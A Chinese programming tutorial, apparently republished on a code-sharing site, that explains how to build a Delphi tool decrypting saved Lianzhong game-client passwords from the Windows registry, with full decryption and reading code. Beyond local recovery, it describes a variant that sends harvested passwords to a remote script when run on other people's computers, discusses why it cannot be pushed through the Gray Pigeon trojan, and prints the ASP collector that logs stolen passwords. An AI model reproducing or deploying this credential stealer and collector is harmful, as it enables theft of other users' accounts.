当前位置:编程学习 > 网站相关 >>

自己编写联众密码读取器

作者:人鱼姬
最近有高手公布了联众密码的解密方法,于是我就用Delphi编写了一个联众密码读取器,方便大家找回密码。联众世界的界面如图1所示,我这里测试的是最新的2.7.0.6版,为了测试,我还注册了两个用户:renyuji111和renyuji222。

图1
大家注意到登录界面上的“记住密码”了吗?如果这里打了勾,你所输入的密码将会被加密,密文会和用户名储存在注册表里,等到下次登录的时候就不必输密码了,程序直接从注册表中得出密码进行登录。密码存储在HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettings里,第一个用户的用户名的键为UserName1,密码的键为Password1,第二个用户的用户名的键为UserName2,密码的键为Password2,以此类推……。
我们要编写的程序需要实现的功能步骤为:先读取HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSetting里的UserName1和Password1,再将Password1里的内容解密,将用户名和密码输出,然后再读取HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSetting里的UserName2和Password2,……,直到读出所有用户。
我们先在界面上添加一个按钮和文本框,有这两个控件就够了,如图2所示,关键代码如下。
  
图2

uses
Windows, SysUtils, Variants, Classes, Forms,
Registry, Controls, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
implementation
{$R *.dfm}

function jiemi(aValue: string): string;
//这是解密函数,将从注册表HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettingsPassword1下读出的密码密文传递进来,输出的就是密码明文了
var
iValue: array [0..63] of Byte;
i, j, k, iAL, iCL: Byte;
Pass: array[0..15] of Char;  //密码最长不超过15位
begin  //字符串转化为整型
i := 0;
j := 0;
while (1 = 1) do
begin
j := Pos( , aValue);
if j <= 0 then
begin
iValue[i] := StrToInt(aValue);
Break;
end;
iValue[i] := StrToInt(Copy(aValue, 1, j - 1));
Inc(i);
aValue := Copy(aValue, j + 1, Length(aValue) - j);
end;

for i := 63 downto 1 do
iValue[i - 1] := iValue[i - 1] xor iValue[i];
for i := 15 downto 1 do
begin
iAL := iValue[i];
iCL := iAL;
ASM  //嵌入汇编代码
MOV AL,iAL
SAR AL,4
AND AL,$F
MOV iAL,AL
end;
j         := iAL + $30;
iAL       := iValue[j];
iCL       := iCL and $f;
iCL       := iValue[0] + iCL;
k         := iCL;
iCL       := iValue[k];
iValue[j] := iCL;
iValue[k] := iAL;
end;

i := iValue[0];
j := 1;
while iValue[i] <> 0 do
begin
Pass[j - 1] := Chr(iValue[i]);
Inc(i);
Inc(j);
end;

Result := Pass;
end;

function duqu(v: Integer): string;
//这个函数负责读取注册表中的用户名和密码密文,并将用户名和解密后的密码明文输出。参数v是用户的序号,比如联众存的第二个用户的信息就是HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettingsUserName1和HKEY_CURRENT_USERSoftwareGlobalLinkGameShareSettingsPassword1
var
s: string; //s用来放读取出来的信息
begin
s := ;
with   TRegistry.Create do //读取注册表
try
RootKey := HKEY_CURRENT_USER;
OpenKey(SoftwareGlobalLinkGameShareSettings, false);
s := 用户: + ReadString(UserName + IntToStr(v));
s := s + 密码: + jiemi(Trim(ReadString(Password + IntToStr(v))));
Free;
Result := s; //返回结果,格式为用户:*** 密码:***
except
Free;
Result := ; //如果要读取的键值不存在,将会触发异常,执行到这里,将返回值设为空
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
v: Integer;
begin
v := 0;
while true do //这个循环负责反复读取用户信息,直到读取所有
begin
v := 1 + v;  //每循环一次就加一
if duqu(v) = then Break; //返回结果为空,说明已经读取了所有用户,退出循环
edit1.Text := edit1.Text +    + duqu(v); //添加在界面上的文本框里
Sleep(100); //不要让CPU占用率太高
end;
end;
end.

编译以上代码,测试一下效果,如图3所示,把我的两个账户和密码都准确无误地读出来了。
  
图3
另外,在此基础上,我还编写了一个可以把本地密码读取并发送出去的程序,只需输入接收脚本的地址,再将生成的exe文件在别人的机器上运行就可以收到密码了(不过有个不完善的地方,就是必须由用户来执行,用system权限运行不能成功,所以不能用灰鸽子批量下载执行,因为灰鸽子是以系统服务运行的,是system权限),如图4所示,其中接收密码的脚本代码如下。
  
图4

<%
strLogFile = date & "-lz.txt"
S = request("ok")
if S = ""  then
response.end
End If

StrLogText = S
set a=Server.CreateObject("scripting.filesystemobject")
set aa=a.opentextfile(server.mappath(".")&""&strLogFile,8,true,0)
aa.writeline(chr(13)+chr(10)&StrLogText)
aa.close
set aa=nothing
set a=nothing
%>

最后,我认为联众不该采用如此简单的加密方法,也不该将密码存在注册表这种谁都可以访问的地方,也许联众可以考虑一下将加密算法复杂化或者使用不可逆加密,在联众解决这个问题之前,大家还是不要用“记住密码”的功能了
补充:综合编程 , 其他综合 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,